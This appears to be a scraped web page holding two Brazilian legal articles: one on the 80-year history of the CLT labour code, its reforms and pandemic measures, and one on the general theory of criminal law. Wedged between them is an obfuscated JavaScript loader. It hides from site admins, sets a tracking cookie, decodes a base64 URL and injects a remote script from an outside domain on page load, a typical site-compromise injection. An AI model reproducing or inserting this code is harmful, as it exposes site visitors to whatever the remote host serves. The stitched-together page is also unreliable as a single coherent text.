Infelizmente saímos da estabilidade dos trabalhadores com uma década de serviço para a criação do Fundo de Garantia de Tempo de Serviço (FGTS), e de horas extraordinárias pagas no salário, além de sua integração salarial em caso de serem habituais, para o banco de horas. Saímos da CTPS assinada com a atribuição de garantias trabalhistas, para o contrato por demanda. E, enfim, foram essas algumas das alterações da CLT ao longo do tempo. 

A CLT foi criada pelo Decreto-Lei 5.262 de 1943 sendo sancionada pelo então Presidente Getúlio Vargas, durante o Estado Novo. E, unificou toda a legislação existente no país. Importante que ao relembrar os antecedentes históricos para a conquistas dos direitos trabalhistas, as mudanças ao longo do tempo e atual cenário do mundo do trabalho, principalmente diante da digitalização. 

Convém aduzir que mesmo antes da consolidação das leis já existentes, a CLT veio a instituir novos direitos, como por exemplo, o aviso prévio, pelo qual o empregado ou empregador que quisesse encerrar o contrato de trabalho deveria informar a outra parte com antecedência de três dias se o pagamento fosse realizado diariamente, oito dias para pagamento semanal e trinta dias nos demais casos. 

Desde a publicação a CLT documentou no direito positivo em sua trajetória, a história da própria Justiça do Trabalho e do Direito do trabalho entre as mais recentes destaca-se a Lei 13.467/2017. 

Ressalte-se que há a deterioração de direitos principalmente com a Reforma Trabalhista de 2017, apontada como uma das mais drásticas da história. 

Segundo a desembargadora aposentada do Tribunal Regional do Trabalho da 4ª Região (TRT4) Magda Biavaschi, as reformas que vieram depois de 2016, sobretudo, o teto de gastos, a reforma da Previdência Social brasileira, especialmente, a reforma trabalhista que aperfeiçoaram a desigualdade no mundo do trabalho.  

E, ressaltou que não apenas a reforma trabalhista, mas a lei da terceirização, ambas de 2017, fizeram aperfeiçoar, legalizando formas espúrias de contratação, como a pejotização, como o autônomo exclusiva que é, em verdade, excrescência. Se o autônomo for contratado para satisfazer as necessidades básicas do contratante, este não é autônomo, e sim, subordinado e, portanto, trata-se de empregado. 

Segundo a mesma desembargadora, o autônomo exclusivo que presta serviços para uma única empresa, sem que reste caracterizado como vínculo empregatício e a ampliação da terceirização para todas as atividades são um grande fator de precarização e se mostram inclusive como um lugar onde há tênue distinção entre a escravização e o trabalho escravo. 

O pior foi o que aconteceu nos governos de Michel Temer e de Jair Bolsonaro. Com alteração de mais de 200 (duzentos) dispositivos, seguida por outras minirreformas, a Lei nº 13.467/2017 [reforma trabalhista] inaugurou o maior desmonte em toda a história da legislação.” 

Entre as mudanças mais polêmicas advindas da Reforma Trabalhista de 2017 estão o fim da obrigatoriedade da contribuição sindical o que aliás se encontra na pauta no STF, a prevalência do negociado por convenções e acordos coletivos de trabalho sobre a letra da lei e, a cobrança de honorários de sucumbências e periciais dos beneficiários da justiça gratuita (e que fora objeto da ADIn 5.566 e foi declarado inconstitucional pelo STF)1. 

A primeira onda entre as principais reformas da CLT ocorreu ainda no governo militar, em 1967, justamente com o fim da estabilidade dos trabalhadores em troca do FGTS. “Trouxe uma alteração importante para a classe trabalhadora, porque é um momento em que o trabalhador perde estabilidade.  

E, naquele contexto, lembra que os trabalhadores, os movimentos, a organização sindical, estavam sob pressão e sob controle e vigilância do regime ditatorial.” 

Já na década de noventa, a segunda reforma de peso por força das políticas neoliberais2, no contexto do governo de FHC, trazendo notável flexibilização na legislação e introduzindo pautas como a possibilidade de banco de horas, flexibilizando a jornada laboral e até mesmo a remuneração.  

Tais mudanças foram guiadas por uma ideologia que traduziu em medidas mitigadoras de direitos trabalhistas3, relacionadas com a inserção do país na globalização neoliberal. 

Aliás, o contexto de crises desde os anos setenta onde as empresas passaram por reestruturação produtivo e o impacto neoliberal forte que precisou dar maior liberdade ao capital e para as empresas. E, os contratos de trabalho por tempo indeterminado, por exemplo, o que aplicou certa rigidez, e a possibilidade do descarte mais fácil da mão de obra, então tem assim um conjunto de medidas já realizadas no governo FHC. 

Adiante, dentro do âmbito das políticas de privatização e abertura de mercados, as alterações incluíram a demissão sem justa causa, eliminando mecanismos de inibição de demissão imotivada, uma legislação para favorecer cooperativas profissionais ou de prestação de serviços que permitiu trabalhadores desempenharem funções sem vínculo empregatício, introdução do banco de horas como alternativa ao pagamento de horas extras e a remuneração como a participação nos lucros e resultados. 

Surgiu uma forma flexível de remuneração, porque a chamada PLR (Programa de Participação nos Lucros e Resultados) e, assim, atualmente se encontra naturalizada, mas ela, substitui um ganho real, porque é uma remuneração flexível. Assim, tem ano que o trabalhador recebe e, ele não incide outros direitos. 

De fato, a reforma trabalhista ampliou a flexibilização de forma drástica e impôs medidas que dificultaram até o acesso à Justiça do Trabalho aos trabalhadores, uma vez que estes passaram a ser obrigados a pagar as custas processuais. Outro ponto nevrálgico é a prevalência do negociado sobre o legislado o que determinou que os direitos trabalhistas seriam passíveis de negociação.  

Na prática, isso corrói o direito do trabalho e coloca o trabalhador numa situação de a cada ano ter que rever sempre os direitos.” 

É sabido que o trabalhador terceirizado tem uma maior condição laboral e de remuneração e, a partir da lei de terceirização que foi editada pelo governo Temer em 2017. 

A terceira onda de reforma trabalhista fora atrelada ao discurso de modernização e criação de empregos. E, tratou a CLT como uma idosa senhora de setenta anos e que tinha de ser modernizada e, isso é pura falácia, porque ao longo do tempo a CLT foi sofrendo inúmeras alterações que a atualizou adequadamente. 

Frise-se que se tratou de reforma abrupta, sem a devida discussão com a sociedade e ainda alterou mais de duas centenas de artigos da CLT e, introduziu o trabalho intermitente4, o contrato de trabalho por demanda, que na prática se constitui no contrato zero hora, no qual o trabalhador não tem garantia alguma de direito5. 

A referida reforma trouxe o fim da ultratividade do acordo coletivo e as condições que favorecem os acordos individuais entre o empregador e empregado em detrimento das convenções coletivas firmadas.  

A mesma reforma permitiu que os sindicatos e as empresas pudessem negociar condições de trabalho diferentes das previstas em lei, mas ressalta que isso não necessariamente significa um patamar melhor para os trabalhadores. 

 Além disso, o fortalecimento dos sindicatos, importante para tal modelo de negociação, também foi comprometido. 

“A reforma também tornou voluntária a Contribuição Sindical destruindo a sustentação financeira dos sindicatos. Após a reforma, o Dieese estimou que as entidades perderam, em média, 70% de suas receitas. Essas foram algumas das mudanças radicais que só beneficiaram as empresas em detrimento das trabalhadoras e dos trabalhadores, desvalorizando os sindicatos, as assembleias e, assim, diminuindo o poder de negociação”, afirmou.  

Para a desembargadora, esse ponto representa um retrocesso grave na garantia de direitos aos trabalhadores. “A reforma trabalhista transtrocou o locus da produção normativa, da regulação pública universal, deslocou as fontes desse sistema público de regulação para o encontro livre das vontades individuais, no suposto de que comprador e vendedor da força de trabalho são iguais e podem dispor sobre os seus direitos, que vão reger a compra e venda da relação trabalho.” 

Enfim, a fragilização da legislação trabalhista depois das ditas reformas, o mercado de trabalho tem ampliado a informalidade, a contratação via MEI6 (Microempreendedor Individual) e as plataformas digitas, sem a garantia de direitos. Quem não aderisse à pessoa jurídica (PJ) muitos empregados foram demitidos e aumentou a demanda trabalhista. 

Mas, ainda temos uma legislação trabalhistas robusta e, o empregado formalizado tem os direitos às férias, décimo-terceiro, previdência social, seguro-desemprego, o salário-mínimo (que atualmente é de R$ 1.320,00), jornada de trabalho, hora extra, reajuste salarial conforme a convenção coletiva do sindicato, direito a sindicalização e justiça do trabalho. 

A luta persiste em procurar reverter vários direitos que foram subtraídos ou relativizados nos anos de desmonte tanto que existe no STF uma Ação Direta de Inconstitucionalidade, da Confederação Nacional dos Trabalhadores Metalúrgicos (CNTM) a cláusula aberrante da reforma trabalhista que admitia o trabalho de mulheres grávidas em locais insalubres. 

Em 2011, foi aprovada uma lei que regulamenta o trabalho a distância — essencial para a continuidade da “vida normal” em meio aos anos mais críticos da pandemia. São apenas alguns exemplos que mostram como a legislação trabalhista foi adaptada aos novos tempos desde sua criação.  

O artigo 373-A, por exemplo, foi incluído em 1999 para regular e tratar do trabalho das mulheres. Instituído através da Lei 9.799, este proibia a revista íntima em funcionárias e a exigência de atestado ou exame para comprovação de gravidez. Em abril de 2002, foi inserido um artigo para a extensão da licença-maternidade de 120 (centro e vinte) dias também para mães adotivas. 

Segundo Rafael Menguer Bykowski dos Santos aludiu em seu artigo intitulado Reflexões da Incidência da Pandemia no Direito do trabalho, in litteris: “As modificações legislativas, administrativas e judiciais nas esferas federal e estadual em decorrência da pandemia da COVID-19, ocorrem diariamente, sendo de grande relevância para o mundo jurídico a análise de suas alterações em todos os níveis do corpo jurídico nacional”. 

Com a pandemia e o estado de calamidade pública7 deu-se a suspensão das atividades laborais, os decretos estaduais implementaram medidas que restringiram a circulação de pessoas. E, o Decreto federal 10.282, de 20 de março de 2020 que definiu o conceito de atividades essenciais e serviços públicos, passando conforme o tempo por diversas modificações. 

Nesse contexto, instalou-se o popularmente conhecido como home office e, conforme a Medida Provisória MP 925, de 22 de março de 2020, durante o estado de calamidade pública, os empregadores podem alterar o modo de trabalho pessoal para o regime de trabalho em casa. 

A Medida Provisória (MP) 1.108/2022, que regulamenta o teletrabalho e altera as regras do auxílio-alimentação. A modalidade foi bastante usada durante a pandemia do coronavírus e não tinha uma regulamentação específica.  

O texto da MP traz a definição do teletrabalho8 e aborda a jornada de trabalho nesse regime, além de prever que o auxílio-alimentação será destinado exclusivamente ao pagamento de refeição em restaurantes ou de gêneros alimentícios comprados no comércio.  

A MP considera o teletrabalho ou trabalho remoto aquele que é prestado fora das dependências do empregador, de maneira preponderante ou não, com tecnologias de informação e comunicação e que não se configure trabalho externo. Além disso, a MP diz que a negociação da jornada de trabalho ocorrerá individualmente, entre o trabalhador e o empregador.  

Os empregados em regime de teletrabalho9 ficam submetidos às disposições previstas na legislação local e nas convenções e acordos coletivos de trabalho na base territorial onde o empregador contratou o trabalhador. Aprendizes e estagiários também poderão fazer teletrabalho.  

A referida MP diz ainda que o uso de ferramentas, como e-mails, fora do horário de trabalho não será considerado como sobreaviso e que os empregadores terão que dar prioridade para o regime remoto aos empregados com filhos de até 4 (quatro) anos. 

O empregador pagava o salário do funcionário integralmente, e também foi necessário adaptar as regras de reembolso de despesas, como infraestrutura, energia, custos de internet, entre outros, por meio de políticas internas de emprego ou alteração do contrato de serviço independente celebrado até 30 (trinta) dias após a alteração do modo de trabalho. 

A já citada MP n.º 927 de 2020 permitiu que essas empresas avançassem as férias individuais, concedessem férias coletivas aos empregados, flexibilizassem as regras existentes, antecipassem feriados não religiosos e usassem os bancos de horas para compensar o período de desligamento, em face da situação de calamidade pública. 

A Lei n.º 14.020, de 6 de julho de 2020, que regulamentou a possibilidade de reduzir salários e horas de trabalho através de contrato individual com todos os funcionários, podendo serem reduzidos em 25%, 50% ou 70%, mediante devido acordo. 

Ademais, reduções em outras condições ou porcentagens são possíveis, mas apenas por meio de acordo coletivo. Depois que o salário tenha sido reduzido, o governo federal se comprometeu, através da mesma MP n.º 936/2020, em fazer um pagamento suplementar com base no valor do seguro-desemprego, o denominado Benefício Emergencial de Preservação do Emprego e da Renda (Bem). 

A MP n.º 936/2020, transformada na já citada Lei n.º 14.020/2020, criou a suspensão temporária de contratos de trabalho por meio de um acordo individual, para funcionários que ganham até R$ 3.117,00 (três mil, cento e dezessete reais), para aqueles com diploma de ensino superior e os que ganham mais que o dobro do benefício máximo do INSS, criado pelo Decreto n.º 99.350, de 27 de julho de 1990, ou seja, R$ 12.202,12 (doze mil e duzentos e dois reais e doze centavos), ou ainda através de acordo coletivo para outros funcionários.  

A MP n.º 927/2020 autorizou o diferimento das contribuições do FGTS relativas a março, abril e maio de 2020. Essas contribuições podem ser pagas em até seis parcelas com vencimento no 7º dia de cada mês, com início em julho de 2020, sem nenhum ajuste monetário, multa e cobranças. 

A Lei n.º 13.982, de 2 de abril de 2020, alterando a Lei n.º 8.724, de 7 de dezembro de 1993, criando o Auxílio Emergencial do Governo Federal, sendo este regulamentado pelo Decreto n.º 10.316, de 7 de abril de 2020, dando subsídio de R$ 600,00 (seiscentos reais) aos trabalhadores informais, Microempreendedores Individuais (MEI), autônomos e desempregados.  

Porém, o benefício possuía certos requisitos como ter mais de 18 anos de idade, não possuir trabalho formal, ou seja, com Carteira de Trabalho e Previdência Social (CTPS), possuir renda mensal de até meio salário-mínimo – R$ 522,50 – e renda familiar mensal de até três salários-mínimos, ou seja, R$ 3.135,00, sendo o salário-mínimo R$ 1.045,00, conforme a MP n.º 919, de 30 de janeiro de 2020, convertida na Lei n.º 14.013, de 10 de junho de 2020. Outros requisitos também se aplicam, como o exercício de uma atividade como MEI ou ser um contribuinte individual ou facultativo do Regime Geral de Previdência Social (RGPS) ou ser trabalhador informal inscrito no Cadastro Único para Programas Sociais do Governo Federal (CadÚnico) 

Conclui-se que o fenômeno da internet representa uma abertura para o enfrentamento da pandemia. Assim mesmo, o desafiador desse cenário globalizado acarreta um processo de reformulação e modernização das diversas esferas jurídicas e sociais dedicadas às ações de enfrentamento da doença. 

O fim do estado de calamidade pública10 em 23.5.2022 interrompeu também a validade das medidas previstas na Lei nº 14.020, de 2020. Com isso, as empresas não podem mais adotar redução proporcional de jornada/salário e/ou suspensão temporária de contrato de trabalho de seus empregados. Isso porque a lei vincula a flexibilização dessas regras trabalhistas ao período de calamidade, estabelecido pelo decreto11. 

Finalmente, cabe ao magistrado que apesar das alterações pontuais da CLT, mas sempre de forma completa sobre cada instituto regulamentado, agir e decidir com uma visão de futuro pautada no respeito ao valor social do trabalho bem como as diretrizes claras para os empreendedores.  

Lembremos sempre do princípio in dubio pro misero (ou pro operário) o que diz respeito a forma de interpretação da norma jurídica, determinando que quando uma mesma norma admitir mais de uma interpretação, deve prevalecer a mais favorável ao empregado.  

Afinal, o Dia do Trabalhador12 sempre se notabilizou por lutas sem trégua e, principalmente, por buscar a preservação da dignidade humana e da justiça social13. 

 

Referências 

BRASIL. Caixa Econômica Federal. Auxílio Emergencial do Governo Federal. Disponível em: https://auxilio.caixa.gov.br/#/inicio. Acesso em: 1.5.2023. 

BRASIL. Caixa Econômica Federal. Benefício Emergencial de Preservação do Emprego e da Renda – BEm. Disponível em: http://www.caixa.gov.br/beneficios-trabalhador/beneficio emergencial/Paginas/default.aspx.  Acesso em: 1.5.2023. 

BRASIL. Decreto n.º 10.282, de 20 de março de 2020. Regulamenta a Lei nº 13.979, de 6 de fevereiro de 2020, para definir os serviços públicos e as atividades essenciais. Disponível em: http://www.planalto.gov.br/ccivil_03/_ato2019-2022/2020/decreto/D10282.htm. Acesso em: 1.5.2023. 

BRASIL. Medida Provisória n.º 919, de 30 de janeiro de 2020. Dispõe sobre o valor do salário-mínimo a vigorar a partir de 1º de fevereiro de 2020. Disponível em: http://www.planalto.gov.br/ccivil_03/_ato20192022/2020/Mpv/mpv919.htm, Acesso em: 1.5.2023. 

BRASIL. Medida Provisória n.º 927, de 22 de março de 2020. Dispõe sobre as medidas trabalhistas para enfrentamento do estado de calamidade pública reconhecido pelo Decreto Legislativo nº 6, de 20 de março de 2020, e da emergência de saúde pública de importância internacional decorrente do coronavírus (covid-19), e dá outras providências. Disponível em: http://www.planalto.gov.br/ccivil_03/_ato2019-2022/2020/ Mpv/mpv927.htm. Acesso em: 1.5.2023. 

BRASIL. Medida Provisória n.º 936, de 1º de abril de 2020. Institui o Programa Emergencial de Manutenção do Emprego e da Renda e dispõe sobre medidas trabalhistas complementares para enfrentamento do estado de calamidade pública reconhecido pelo Decreto Legislativo nº 6, de 20 de março de 2020, e da emergência de saúde pública de importância internacional decorrente do coronavírus (covid-19), de que trata a Lei nº 13.979, de 6 de fevereiro de 2020, e dá outras providências. Disponível em: http://www.planalto.gov.br/ccivil_03/_ato2019-2022/2020/ mpv/mpv936.htm. Acesso em:1.5.2023.  

DOS SANTOS, Rafael Menguer Bykowski. Reflexões da Incidência da Pandemia no Direito do Trabalho. Revista Direito em Movimente. Edição Especial, 2020. Disponível em: https://www.emerj.tjrj.jus.br/revistadireitoemovimento_online/edicoes/volume18_numero3/volume18_numero3_224.pdf Acesso em 01.5.2023.  

AGÊNCIA BRASIL. Hoje é Dia destaca os 80 anos da CLT e o Dia do Trabalhador. Disponível em: https://agenciabrasil.ebc.com.br/geral/noticia/2023-04/hoje-e-dia-destaca-os-80-anos-da-clt-e-o-dia-do-trabalhador Acesso em 01.5.2023.NASSIF, Tamara. CNN Brasil. 80 anos de CLT: veja como foi a criação do principal marco trabalhista do país. Disponível em: https://www.cnnbrasil.com.br/economia/80-anos-de- clt-veja-como-foi-a-criacao-do-principal-marco-trabalhista-do-pais/ Acesso em 01.5.2023. 

CNJ. CLT: 80 anos de um marco histórico dos direitos e da Justiça do Trabalho no Brasil. Disponível em: https://www.cnj.jus.br/clt-80-anos-de-um-marco-historico-dos-direitos-e-da-justica-do-trabalho-no-brasil/ Acesso em 1.5.2023. 

MIGALHAS (Da Redação). 80 anos da CLT: o Direito do Trabalho ontem e hoje. Disponível em: https://www.migalhas.com.br/quentes/385346/80-anos-da-clt-o-direito-do-trabalho-ontem-e-hoje Acesso em 1.5.2023. (function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();

Considerações da Teoria Geral do Direito Penal

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Resumo: A relevância da Teoria Geral do Direito Penal reside em tecer o arcabouço de conceitos básicos do Direito Penal, entendendo o crime tanto como fenômeno social e jurídico. A função específica do Direito Penal é a tutela jurídica, a proteção de bens jurídicos. Superando a teoria tripartite que enxerga no crime como conduta típica, antijurídica e culpável, passando até a noção de Direito Penal Mínimo. O Direito Penal visa proteger os bens jurídicos mais relevantes, intervindo apenas em casos de lesão de bens jurídicos fundamentais para a vida e para a sociedade.

Palavras-chave: Direito Penal. Teoria Geral do Direito Penal. Crime. Pena. Norma penal. Bem jurídico.

Abstract: The relevance of the General Theory of Criminal Law lies in weaving the framework of basic concepts of Criminal Law, understanding crime both as a social and legal phenomenon. The specific function of Criminal Law is legal protection, the protection of legal interests. Overcoming the tripartite theory that sees crime as typical, unlawful and culpable conduct, including the notion of Minimum Criminal Law. Criminal Law aims to protect the most relevant legal interests, intervening only in cases of damage to fundamental legal interests for life and society.

Keywords: Criminal Law. General Theory of Criminal Law. Crime. Feather. Penal norm. Legal good.

 

Introdução

Cogitar do Direito Penal, é cogitar de alguma forma, de violência. Modernamente, sustenta-se que a criminalidade é fenômeno social normal Durkheim afirmou que o delito ocorre, em todas as sociedades pelo ser humano.  O delito não só é um fenômeno social normal como também cumpre outra relevante função, isto é, a de manter aberto o canal de transformações de que a sociedade tanto precisa. 

Portanto, as relações humanas restam inexoravelmente contaminadas pela violência, necessitando avidamente de normas jurídicas que as regulem. E, o fato social que contrariar o ordenamento jurídico vigente constitui ilícito jurídico, cuja modalidade mais grave é o ilícito penal que lesa bens importantes da comunidade. 

Para harmonizar o convívio social surge então o Direito Penal com sua peculiar natureza de meio de controle social formalizado, visando resolver conflitos e suturando as eventuais rupturas produzidas pela desinteligência humana. 

No Direito contemporâneo a denominação mais tradicional é Direito Penal com franca utilização, especialmente, em países ocidentais. O Direito Criminal também é terminologia de grande utilização no século passado, porém, atualmente, se encontra em franco desuso, com exceção de países anglo-saxões, que preferem literalmente criminal law. 

Direito Penal é o conjunto de normas jurídicas mediante as quais o Estado proíbe determinadas ações ou omissões, sob a característica sanção penal. 

A sanção característica é a pena que é a principal consequência jurídica do crime. O Direito Penal se distingue precisamente pelo meio de coação e tutela com que atua e que é a pena criminal. 

A pena não consiste na execução coativa do preceito jurídico violado, mas na perda de um bem jurídico imposta ao autor do ilícito, representando um mal infringido ao réu, em virtude de seu comportamento antijurídico. 

Daí, o seu caráter retributivo. A denominação “Direito Penal” surge justamente da sanção jurídica desse ramo do direito. O Direito Penal moderno bem ao lado da pena contempla também as medidas de segurança (que se funda na periculosidade do agente). 

A denominação “Direito Criminal” prevaleceu até o século passado e esteve presente em nosso Código Imperial de 1830 e era chamado Código Criminal. 

O Direito Penal é ramo do Direito Público interno. Ressalte-se que o Estado detém o monopólio do magistério punitivo, mesmo quando a acusação é promovida pelo ofendido, conforme a ação penal privada. 

A tutela do Direito Penal é exercida sempre em prol dos interesses da coletividade, mesmo quando se trata de bens cuja ofensa primeiramente atinge o indivíduo (seja sua vida, patrimônio, honra e, etc.). 

O Direito Penal na ordem jurídica é que dispõe da mais grave sanção e, portanto, proporciona a mais reforçada tutela jurídica, sendo disposto à preservação daqueles bens de maior significação e relevo, sendo indispensáveis à vida comum, visando assegurar a existência da sociedade e dos valores fundamentais da vida e para a sociedade humana. 

A função básica do Direito Penal é a de defesa social e se realiza através da chamada tutela jurídica que é mecanismo que ameaça com uma sanção jurídica (pena criminal) que é aplicada para evitar danos ou perigo a um valor da vida social (bem jurídico). 

A justificação da pena liga-se à função do Direito Penal que é instrumento da política social do Estado. A pena, embora, seja por natureza retributiva, não se justifica pela retribuição nem tem qualquer outo fundamento metafísico. 

A generalizada tendência é a de reduzir ao máximo a área de incidência do Direito Penal, em razão do elevado custo social que pena representa. A nova política criminal requer rigoroso exame de casos concretos, em que convém impor a pena e, dos casos em que convém excluir, em princípio, a sanção penal, excluir, em princípio a sanção penal, suprimindo a infração penal ou modificando ou atenuando a sanção existente. 

O crime é fenômeno sociopolítico que se deve a um conjunto de fatores ligados à estrutura econômico-=social, em relação aos quais o Direito Penal tem muito pouca influência. 

As definições do Direito Penal se sucedem mantendo em geral, a mesma essência. Para Maggiore: “Direito Penal é o sistema de normas jurídicas, por força das quais o autor de um delito (réu) é submetido a uma perda ou diminuição de direitos pessoais”. 

Os penalistas pátrios tais como Magalhães Noronha definia o direito penal como o conjunto de normas jurídicas que regulam o poder punitivo do Estado, tendo em vista os fatos de natureza criminal e as medidas aplicáveis a quem os pratica. 

Já para Frederico Marques, “o Direito Penal é o conjunto de normas que ligam ao crime, como consequência, e disciplinam também as relações jurídicas daí derivadas, para estabelecer a aplicabilidade de medidas de segurança e a tutela do direito de liberdade em face do poder de punir do Estado.” 

É indispensável que no Direito Penal se compreenda todas a relações jurídicas que as normas jurídicas disciplinam inclusive as que derivam dessa sistematização ordenadora do delito e da pena. 

O conjunto de normas jurídicas a que acima nos referimos constitui o Direito Penal objetivo e deste surge o Direito Penal subjetivo. Esse direito subjetivo de punir o famoso jus puniendi não é o direito de editar a norma penal. Em momento anterior, ao direito positivo, o poder do Estado de fixar a norma penal era apenas atributo da soberania e correspondia ao exercício do jus imperii, isto é, da faculdade compreendida no poder político de império ou de dominação do Estado. 

O Direto Penal subjetivo é, enfim, o direito de punir que surge com a norma penal e que é sempre atingido pela ação delituosa (direito público subjetivo) do Estado em prover a observância do preceito. 

O Direito Penal fundamental é a que se encontra na Constituição Federal brasileira vigente e que contém as disposições básicas do direito punitivo do Estado, aplicáveis igualmente às leis penais, quando não disporem diversamente. 

O Direito Penal complementar é que se encontra nas leis penais não codificadas e chamadas de leis penais extravagantes. 

A teoria do bem jurídico em face do Direito Penal contemporâneo. 

Primeiramente, para abordar a referida teoria se faz necessário compreender o processo expansionista do Direito Penal e, até onde precisará chegar para satisfazer os anseios da sociedade, garantindo-lhe  a necessária segurança, evitando, assim, que se tornem verdadeiros sujeitos passivos. 

O Direito Penal Clássico também foi conhecido como sendo o direito penal liberal tradicional e teve sua origem entre a segunda metade do século XVIII e a primeira metade do século XIX, sob a nítida inspiração do Iluminismo, o chamado século das Luzes. Defendia a construção de direito penal baseado no paradigma do direito subjetivo, tutelando-se prioritariamente as lesões ais direitos fundamentais da pessoa. 

Formando originalmente em contexto de arbitrariedades estatais, o direito penal tradicional tem como fim principal, a limitação dos bens jurídicos tutelados e das sanções taxativamente cominadas, vinculando a atuação estatal aos parâmetros previamente estabelecidos, garantindo, com isso, as liberdades individuais e os direitos fundamentais dos cidadãos subordinados a este.  

Trata-se, portanto, de um direito penal que visa dupla finalidade, a saber: reduzir os índices de violência social através de uma coação física e psicológica do cidadão infrator, garantindo, sobretudo, a limitação do ius puniendi estatal, tendo outros defensores renomados. 

Foi a partir da Revolução Francesa, exigiu-se que o atuar do Estado fosse regido pelas ideias de igualdade, liberdade e fraternidade, trazendo fortes mudanças no cenário político e ipso facto jurídico. As Constituições passaram a estabelecer as garantias individuais, sobretudo, no que se refere ao ius puniendi. 

A dignidade da pessoa humana passou a se apresentar como alicerce axiológico da Lei Magna, regendo todos os ramos do direito, sobretudo o direito penal.  

No Direito penal em seus primórdios, foram adotados os clássicos princípios liberais, a sanção penal consistente na privação da liberdade somente pode ter incidência quando absolutamente necessária, é afirmar, quando outros meios não se apresentem como mais idôneos (subsidiariedade do direito penal) e, mesmo assim, tão-somente diante dos ataques mais intensos (para os bens jurídicos mais relevantes) ou que possam causar ao menos sério e concreto risco de dano (perigo concreto) para o interesse tutelado (fragmentariedade do direito penal). 

Desenvolvimento 

Numa ótica imediatista, os movimentos revolucionários, tendem a se debruçar somente nas questões pungentes, mais aviltadas, que culminaram naquela reação. No esteio do pós-Segunda Guerra Mundial, o direito penal se preocupou em tutelar os direitos individuais uma vez que refletiam o maior anseio da sociedade, configurando progresso social e criminal. 

Era imprescindível a concretização de princípios tais quais a taxatividade e legalidade, garantindo que o exercício do poder do Estado se dê em forma de contrato social, dentro dos parâmetros a este conferidos pelo povo. 

Na ocasião, representava um grande avanço social, atualmente, tem-se como um discurso de resistência, na medida em que restringe demasiadamente o campo de atuação estatal, buscando aplicar um Direito Penal Mínimo.   

Significando que o Direito Penal deve ser última ratio, limitando e orientando o poder incriminador do Estado, preconizando que a criminalização de uma conduta somente se justifica se constituir um meio necessário para a proteção de determinado bem jurídico. O Direito Penal somente deve atuar quando os demais ramos do Direito forem insuficientes para proteger os bens jurídicos em conflito. 

Lembremos que a noção de bem jurídico era indissociável dos direitos individuais, desconsiderando-se que os bens jurídicos coletivos, ao serem lesionados, poderiam afetar de forma crucial a vida em sociedade, merecendo repreensão não somente nas esferas cível e administrativa, mas uma sanção que impedisse o definhamento da sociedade. 

Dentro dos mesmos moldes que outrora ocorrera, a sociedade permanecia em constante evolução, o que fez com que outros delitos, até então invisibilizados para a sociedade, se tornassem alvo da tutela penal, fazendo nascer infinda discussão acerca da expansão do direito penal: enquanto para alguns a expansão da tutela penal transformaria o direito penal em simbólico, para outros, seria o verdadeiro combate à criminalidade que se transmuda ao longo da história da humanidade. 

O panorama social que trouxe a expansão é a Revolução Industrial, que trouxe significativas mudanças sociais. As sociedades que antes eram praticamente rurais, migraram para as cidades e passaram a realizar atividades laborais voltadas para a produção. 

O Direito Penal simbólico é conhecido por ser rigoroso demais e, por esse motivo acaba sendo ineficaz na prática, por trazer meros símbolos de rigor excessivo que, efetivamente, caem no vazio, diante da não aplicação efetiva, justamente pelo fato de ser tão rigoroso.  

Atualmente, o Brasil passa uma fase em que as leis penais de cunho simbólico são cada vez mais elaboradas pelo legislador infraconstitucional.  Essas leis de cunho simbólico podem trazer uma forte carga moral e emocional, revelando uma manifesta intenção pelo Governo de manipulação da opinião pública, ou seja, tem o legislador infundindo perante a sociedade uma falsa ideia de segurança. 

Uma primeira crítica feita por alguns estudiosos reside na criação de um direito penal simbólico, que tudo tenta proteger, porém quase nada de fato protege. Isso se daria porque as normas estariam atendendo apenas a apelos latentes, refletindo medidas emergenciais que atenderiam a uma necessidade mais urgente, mas não resolveriam os problemas em sua origem. Assim, se mostrariam como falsos remédios, que não curariam o mal desde a sua raiz. 

Um segundo argumento contrário à expansão do direito penal tem como base a ideia de Estado Democrático de Direito, e sua função precípua de limitação do atuar estatal, na medida em que, ao admitir-se o processo expansivo, estar-se-ia conferindo maior poder ao Estado de punir. 

É pacífica compreensão de que a noção do direito penal, tradicionalmente idealizado, encontra-se fragilizada diante do incontrolável aumento na criminalização mundial.  

Luiz Flávio Gomes já afirmava o que está se pondo em dúvida não é o direito penal em si mesmo, mas apenas o modo pelo qual tradicionalmente ele foi compreendido.  

Seria o mesmo que assistir à transformação daquele direito penal nascido no Iluminismo e desenvolvido cientificamente por distintas correntes da Escola Clássica e do Neokantismo durante os primeiros decênios do século XX.  

O referido direito penal é paradigma explicativo do poder penal, da ordem normativa sancionadora e, de seus fins e técnicas de legislação, para a partir daí sofrer suas consequentes adaptações acompanhando a evolução social. 

Os resultados negativos dos excessos praticados nos meios de telecomunicações fomentaram incertezas e inseguranças, contribuindo para majorar o medo das sociedades de risco. E, ao disciplinar os novos interesses como uma das causas de expansão do direito penal. 

Deflagra-se processo lógico de evolução da sociedade diante da evolução tecnológica. Perane uma nova realidade social, o direito penal deve reagir em face de clamor popular por segurança e justiça e, é justamente esse atuar estatal inovador que forma o processo de expansão do direito penal. 

